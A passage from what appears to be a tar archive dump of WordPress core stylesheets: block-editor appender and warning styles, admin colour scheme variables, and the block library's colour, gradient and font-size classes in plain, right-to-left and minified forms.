.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter{ visibility:hidden; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after{ border:none; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter{ visibility:visible; } .block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{ border:none; } .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{ background-color:var(--wp-admin-theme-color); box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65); color:hsla(0,0%,100%,.65); transition:background-color .2s ease-in-out; } @media (prefers-reduced-motion:reduce){ .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{ transition:none; } } .block-editor-default-block-appender{ clear:both; margin-left:auto; margin-right:auto; position:relative; } .block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{ outline:1px solid transparent; } .block-editor-default-block-appender .block-editor-default-block-appender__content{ opacity:.62; } :where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{ -webkit-margin-before:0; margin-block-start:0; } .block-editor-default-block-appender .components-drop-zone__content-icon{ display:none; } .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{ background:#1e1e1e; border-radius:2px; color:#fff; height:24px; min-width:24px; padding:0; } .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{ background:var(--wp-admin-theme-color); color:#fff; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{ left:0; line-height:0; position:absolute; top:0; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{ display:none; } .block-editor-block-list__block .block-list-appender{ bottom:0; left:0; list-style:none; padding:0; position:absolute; z-index:2; } .block-editor-block-list__block .block-list-appender.block-list-appender{ line-height:0; margin:0; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{ height:24px; } .block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{ background:#1e1e1e; box-shadow:none; color:#fff; display:none; flex-direction:row; height:24px; min-width:24px; padding:0 !important; width:24px; } .block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{ background:var(--wp-admin-theme-color); color:#fff; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{ display:none; } .block-editor-block-list__block .block-list-appender:only-child{ align-self:center; left:auto; line-height:inherit; list-style:none; position:relative; } .block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{ display:block; } .block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{ display:flex; } .block-editor-default-block-appender__content{ cursor:text; } .block-editor-block-list__layout.has-overlay:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:60; } .block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{ margin-bottom:0; } .block-editor-media-placeholder__url-input-form{ display:flex; } .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{ border:none; border-radius:0; flex-grow:1; margin:2px; min-width:200px; width:100%; } @media (min-width:600px){ .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{ width:300px; } } .block-editor-media-placeholder__url-input-submit-button{ flex-shrink:1; } .block-editor-media-placeholder__button{ margin-bottom:.5rem; } .block-editor-media-placeholder__cancel-button.is-link{ display:block; margin:1em; } .block-editor-media-placeholder.is-appender{ min-height:0; } .block-editor-media-placeholder.is-appender:hover{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); cursor:pointer; } .block-editor-plain-text{ border:none; box-shadow:none; color:inherit; font-family:inherit; font-size:inherit; line-height:inherit; margin:0; padding:0; width:100%; } .rich-text [data-rich-text-placeholder]{ pointer-events:none; } .rich-text [data-rich-text-placeholder]:after{ content:attr(data-rich-text-placeholder); opacity:.62; } .rich-text:focus{ outline:none; } .rich-text:focus [data-rich-text-format-boundary]{ border-radius:2px; } .block-editor-rich-text__editable>p:first-child{ margin-top:0; } figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{ opacity:.8; } [data-rich-text-script]{ display:inline; } [data-rich-text-script]:before{ background:#ff0; content:""; } .block-editor-warning{ align-items:center; background-color:#fff; border:1px solid #1e1e1e; border-radius:2px; display:flex; flex-wrap:wrap; padding:1em; } .block-editor-warning,.block-editor-warning .block-editor-warning__message{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; } .block-editor-warning .block-editor-warning__message{ color:#1e1e1e; font-size:13px; line-height:1.4; margin:0; } .block-editor-warning p.block-editor-warning__message.block-editor-warning__message{ min-height:auto; } .block-editor-warning .block-editor-warning__contents{ align-items:baseline; display:flex; flex-direction:row; flex-wrap:wrap; justify-content:space-between; width:100%; } .block-editor-warning .block-editor-warning__actions{ align-items:center; display:flex; margin-top:1em; } .block-editor-warning .block-editor-warning__action{ margin:0 0 0 8px; } .block-editor-warning__secondary{ margin:auto 8px auto 0; } .components-popover.block-editor-warning__dropdown{ z-index:99998; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/block-library/common-rtl.css000064400000014556151202620300013636 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } :root { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .has-pale-pink-background-color { background-color: #f78da7; } :root .has-vivid-red-background-color { background-color: #cf2e2e; } :root .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .has-vivid-purple-background-color { background-color: #9b51e0; } :root .has-white-background-color { background-color: #fff; } :root .has-very-light-gray-background-color { background-color: #eee; } :root .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .has-very-dark-gray-background-color { background-color: #313131; } :root .has-black-background-color { background-color: #000; } :root .has-pale-pink-color { color: #f78da7; } :root .has-vivid-red-color { color: #cf2e2e; } :root .has-luminous-vivid-orange-color { color: #ff6900; } :root .has-luminous-vivid-amber-color { color: #fcb900; } :root .has-light-green-cyan-color { color: #7bdcb5; } :root .has-vivid-green-cyan-color { color: #00d084; } :root .has-pale-cyan-blue-color { color: #8ed1fc; } :root .has-vivid-cyan-blue-color { color: #0693e3; } :root .has-vivid-purple-color { color: #9b51e0; } :root .has-white-color { color: #fff; } :root .has-very-light-gray-color { color: #eee; } :root .has-cyan-bluish-gray-color { color: #abb8c3; } :root .has-very-dark-gray-color { color: #313131; } :root .has-black-color { color: #000; } :root .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(-135deg, #0693e3 0%, #9b51e0 100%); } :root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(-135deg, #00d084 0%, #0693e3 100%); } :root .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(-135deg, #7adcb4 0%, #00d082 100%); } :root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(-135deg, #fcb900 0%, #ff6900 100%); } :root .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(-135deg, #ff6900 0%, #cf2e2e 100%); } :root .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(-135deg, #eeeeee 0%, #a9b8c3 100%); } :root .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(-135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .has-blush-light-purple-gradient-background { background: linear-gradient(-135deg, #ffceec 0%, #9896f0 100%); } :root .has-blush-bordeaux-gradient-background { background: linear-gradient(-135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .has-purple-crush-gradient-background { background: linear-gradient(-135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .has-luminous-dusk-gradient-background { background: linear-gradient(-135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .has-hazy-dawn-gradient-background { background: linear-gradient(-135deg, #faaca8 0%, #dad0ec 100%); } :root .has-pale-ocean-gradient-background { background: linear-gradient(-135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .has-electric-grass-gradient-background { background: linear-gradient(-135deg, #caf880 0%, #71ce7e 100%); } :root .has-subdued-olive-gradient-background { background: linear-gradient(-135deg, #fafae1 0%, #67a671 100%); } :root .has-atomic-cream-gradient-background { background: linear-gradient(-135deg, #fdd79a 0%, #004a59 100%); } :root .has-nightshade-gradient-background { background: linear-gradient(-135deg, #330968 0%, #31cdcf 100%); } :root .has-midnight-gradient-background { background: linear-gradient(-135deg, #020381 0%, #2874fc 100%); } :root .has-link-color a { color: #00e; color: var(--wp--style--color--link, #00e); } .has-small-font-size { font-size: 0.8125em; } .has-regular-font-size, .has-normal-font-size { font-size: 1em; } .has-medium-font-size { font-size: 1.25em; } .has-large-font-size { font-size: 2.25em; } .has-larger-font-size, .has-huge-font-size { font-size: 2.625em; } .has-text-align-center { text-align: center; } .has-text-align-left { text-align: left; } .has-text-align-right { text-align: right; } #end-resizable-editor-section { display: none; } .aligncenter { clear: both; }css/dist/block-library/common-rtl.min.css000064400000010304151202620300014403 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}:root .has-pale-pink-background-color{background-color:#f78da7}:root .has-vivid-red-background-color{background-color:#cf2e2e}:root .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .has-vivid-green-cyan-background-color{background-color:#00d084}:root .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .has-vivid-purple-background-color{background-color:#9b51e0}:root .has-white-background-color{background-color:#fff}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-black-background-color{background-color:#000}:root .has-pale-pink-color{color:#f78da7}:root .has-vivid-red-color{color:#cf2e2e}:root .has-luminous-vivid-orange-color{color:#ff6900}:root .has-luminous-vivid-amber-color{color:#fcb900}:root .has-light-green-cyan-color{color:#7bdcb5}:root .has-vivid-green-cyan-color{color:#00d084}:root .has-pale-cyan-blue-color{color:#8ed1fc}:root .has-vivid-cyan-blue-color{color:#0693e3}:root .has-vivid-purple-color{color:#9b51e0}:root .has-white-color{color:#fff}:root .has-very-light-gray-color{color:#eee}:root .has-cyan-bluish-gray-color{color:#abb8c3}:root .has-very-dark-gray-color{color:#313131}:root .has-black-color{color:#000}:root .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(-135deg,#0693e3,#9b51e0)}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(-135deg,#7adcb4,#00d082)}:root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(-135deg,#fcb900,#ff6900)}:root .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(-135deg,#ff6900,#cf2e2e)}:root .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(-135deg,#eee,#a9b8c3)}:root .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(-135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .has-blush-light-purple-gradient-background{background:linear-gradient(-135deg,#ffceec,#9896f0)}:root .has-blush-bordeaux-gradient-background{background:linear-gradient(-135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-luminous-dusk-gradient-background{background:linear-gradient(-135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-pale-ocean-gradient-background{background:linear-gradient(-135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .has-electric-grass-gradient-background{background:linear-gradient(-135deg,#caf880,#71ce7e)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}:root .has-link-color a{color:#00e;color:var(--wp--style--color--link,#00e)}.has-small-font-size{font-size:.8125em}.has-normal-font-size,.has-regular-font-size{font-size:1em}.has-medium-font-size{font-size:1.25em}.has-large-font-size{font-size:2.25em}.has-huge-font-size,.has-larger-font-size{font-size:2.625em}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}css/dist/block-library/common.css000064400000014576151202620300013041 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } :root { /* stylelint-disable function-comma-space-after */ /* stylelint-enable function-comma-space-after */ } :root .has-pale-pink-background-color { background-color: #f78da7; } :root .has-vivid-red-background-color { background-color: #cf2e2e; } :root .has-luminous-vivid-orange-background-color { background-color: #ff6900; } :root .has-luminous-vivid-amber-background-color { background-color: #fcb900; } :root .has-light-green-cyan-background-color { background-color: #7bdcb5; } :root .has-vivid-green-cyan-background-color { background-color: #00d084; } :root .has-pale-cyan-blue-background-color { background-color: #8ed1fc; } :root .has-vivid-cyan-blue-background-color { background-color: #0693e3; } :root .has-vivid-purple-background-color { background-color: #9b51e0; } :root .has-white-background-color { background-color: #fff; } :root .has-very-light-gray-background-color { background-color: #eee; } :root .has-cyan-bluish-gray-background-color { background-color: #abb8c3; } :root .has-very-dark-gray-background-color { background-color: #313131; } :root .has-black-background-color { background-color: #000; } :root .has-pale-pink-color { color: #f78da7; } :root .has-vivid-red-color { color: #cf2e2e; } :root .has-luminous-vivid-orange-color { color: #ff6900; } :root .has-luminous-vivid-amber-color { color: #fcb900; } :root .has-light-green-cyan-color { color: #7bdcb5; } :root .has-vivid-green-cyan-color { color: #00d084; } :root .has-pale-cyan-blue-color { color: #8ed1fc; } :root .has-vivid-cyan-blue-color { color: #0693e3; } :root .has-vivid-purple-color { color: #9b51e0; } :root .has-white-color { color: #fff; } :root .has-very-light-gray-color { color: #eee; } :root .has-cyan-bluish-gray-color { color: #abb8c3; } :root .has-very-dark-gray-color { color: #313131; } :root .has-black-color { color: #000; } :root .has-vivid-cyan-blue-to-vivid-purple-gradient-background { background: linear-gradient(135deg, #0693e3 0%, #9b51e0 100%); } :root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background { background: linear-gradient(135deg, #00d084 0%, #0693e3 100%); } :root .has-light-green-cyan-to-vivid-green-cyan-gradient-background { background: linear-gradient(135deg, #7adcb4 0%, #00d082 100%); } :root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background { background: linear-gradient(135deg, #fcb900 0%, #ff6900 100%); } :root .has-luminous-vivid-orange-to-vivid-red-gradient-background { background: linear-gradient(135deg, #ff6900 0%, #cf2e2e 100%); } :root .has-very-light-gray-to-cyan-bluish-gray-gradient-background { background: linear-gradient(135deg, #eeeeee 0%, #a9b8c3 100%); } :root .has-cool-to-warm-spectrum-gradient-background { background: linear-gradient(135deg, #4aeadc 0%, #9778d1 20%, #cf2aba 40%, #ee2c82 60%, #fb6962 80%, #fef84c 100%); } :root .has-blush-light-purple-gradient-background { background: linear-gradient(135deg, #ffceec 0%, #9896f0 100%); } :root .has-blush-bordeaux-gradient-background { background: linear-gradient(135deg, #fecda5 0%, #fe2d2d 50%, #6b003e 100%); } :root .has-purple-crush-gradient-background { background: linear-gradient(135deg, #34e2e4 0%, #4721fb 50%, #ab1dfe 100%); } :root .has-luminous-dusk-gradient-background { background: linear-gradient(135deg, #ffcb70 0%, #c751c0 50%, #4158d0 100%); } :root .has-hazy-dawn-gradient-background { background: linear-gradient(135deg, #faaca8 0%, #dad0ec 100%); } :root .has-pale-ocean-gradient-background { background: linear-gradient(135deg, #fff5cb 0%, #b6e3d4 50%, #33a7b5 100%); } :root .has-electric-grass-gradient-background { background: linear-gradient(135deg, #caf880 0%, #71ce7e 100%); } :root .has-subdued-olive-gradient-background { background: linear-gradient(135deg, #fafae1 0%, #67a671 100%); } :root .has-atomic-cream-gradient-background { background: linear-gradient(135deg, #fdd79a 0%, #004a59 100%); } :root .has-nightshade-gradient-background { background: linear-gradient(135deg, #330968 0%, #31cdcf 100%); } :root .has-midnight-gradient-background { background: linear-gradient(135deg, #020381 0%, #2874fc 100%); } :root .has-link-color a { color: #00e; color: var(--wp--style--color--link, #00e); } .has-small-font-size { font-size: 0.8125em; } .has-regular-font-size, .has-normal-font-size { font-size: 1em; } .has-medium-font-size { font-size: 1.25em; } .has-large-font-size { font-size: 2.25em; } .has-larger-font-size, .has-huge-font-size { font-size: 2.625em; } .has-text-align-center { text-align: center; } .has-text-align-left { /*rtl:ignore*/ text-align: left; } .has-text-align-right { /*rtl:ignore*/ text-align: right; } #end-resizable-editor-section { display: none; } .aligncenter { clear: both; }css/dist/block-library/common.min.css000064400000010262151202620300013607 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}:root .has-pale-pink-background-color{background-color:#f78da7}:root .has-vivid-red-background-color{background-color:#cf2e2e}:root .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .has-vivid-green-cyan-background-color{background-color:#00d084}:root .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .has-vivid-purple-background-color{background-color:#9b51e0}:root .has-white-background-color{background-color:#fff}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-black-background-color{background-color:#000}:root .has-pale-pink-color{color:#f78da7}:root .has-vivid-red-color{color:#cf2e2e}:root .has-luminous-vivid-orange-color{color:#ff6900}:root .has-luminous-vivid-amber-color{color:#fcb900}:root .has-light-green-cyan-color{color:#7bdcb5}:root .has-vivid-green-cyan-color{color:#00d084}:root .has-pale-cyan-blue-color{color:#8ed1fc}:root .has-vivid-cyan-blue-color{color:#0693e3}:root .has-vivid-purple-color{color:#9b51e0}:root .has-white-color{color:#fff}:root .has-very-light-gray-color{color:#eee}:root .has-cyan-bluish-gray-color{color:#abb8c3}:root .has-very-dark-gray-color{color:#313131}:root .has-black-color{color:#000}:root .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(135deg,#0693e3,#9b51e0)}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(135deg,#7adcb4,#00d082)}:root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(135deg,#fcb900,#ff6900)}:root .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(135deg,#ff6900,#cf2e2e)}:root .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(135deg,#eee,#a9b8c3)}:root .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .has-blush-light-purple-gradient-background{background:linear-gradient(135deg,#ffceec,#9896f0)}:root .has-blush-bordeaux-gradient-background{background:linear-gradient(135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-luminous-dusk-gradient-background{background:linear-gradient(135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-pale-ocean-gradient-background{background:linear-gradient(135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .has-electric-grass-gradient-background{background:linear-gradient(135deg,#caf880,#71ce7e)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root .has-link-color 